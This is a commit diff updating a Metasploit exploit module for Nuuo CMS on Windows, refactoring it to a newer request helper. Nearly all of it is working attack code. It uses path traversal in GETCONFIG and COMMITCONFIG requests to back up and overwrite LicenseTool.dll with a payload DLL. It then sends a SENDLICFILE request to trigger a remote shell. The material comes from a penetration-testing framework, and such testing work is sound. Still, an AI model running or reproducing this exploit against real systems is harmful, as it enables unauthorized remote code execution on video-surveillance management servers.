Update nuuo_cms_fu

Use the updated mixin/rex implementation

modules/exploits/windows/nuuo/nuuo_cms_fu.rb

@@ -76,29 +76,47 @@ class MetasploitModule < Msf::Exploit::Remote
     end
   end
 
-  def exploit
-    nucs_login
+  def upload_file(filename, data)
+    res = ncs_send_request({
+      'method' => 'COMMITCONFIG',
+      'file_name' => "..\\..\\#{filename}",
+      'user_session' => user_session,
+      'data' => data
+    })
+  end
 
-    unless @nucs_session
-      fail_with(Failure::NoAccess, 'Failed to login to Nuuo CMS')
-    end
+  def exploit
+    connect
+    res = ncs_login
+    fail_with(Failure::NoAccess, 'Failed to login to Nuuo CMS') unless res
 
     # Download and upload a backup of LicenseTool.dll, so that we can restore it at post
     # and not nuke the CMS installation.
     @dll = rand_text_alpha(12)
     print_status("Backing up LicenseTool.dll to #{@dll}")
-    dll_data = nucs_download_file('LicenseTool.dll')
-    nucs_upload_file(@dll, dll_data)
+
+    ltool = 'LicenseTool.dll'
+    res = ncs_send_request({
+      'method' => 'GETCONFIG',
+      'file_name' => "..\\..\\#{ltool}",
+      'user_session' => user_session
+    })
+    dll_data = res.body
+
+    upload_file(@dll, dll_data)
 
     print_status('Uploading payload...')
-    nucs_upload_file('LicenseTool.dll', generate_payload_dll)
+    upload_file(ltool, generate_payload_dll)
 
     print_status('Sleeping 15 seconds...')
     Rex.sleep(15)
 
     print_status('Sending SENDLICFILE request, shell incoming!')
-    license_data = rand_text_alpha(50..350)
-    nucs_send_msg(['SENDLICFILE', "FileName: #{rand_text_alpha(3..11)}.lic",
-      'Content-Length: ' + license_data.length.to_s], license_data)
+    res = ncs_send_request({
+      'method' => 'SENDLICFILE',
+      'file_name' => "#{rand_text_alpha(3..11)}.lic",
+      'user_session' => user_session,
+      'data' => rand_text_alpha(50..350)
+    })
   end
 end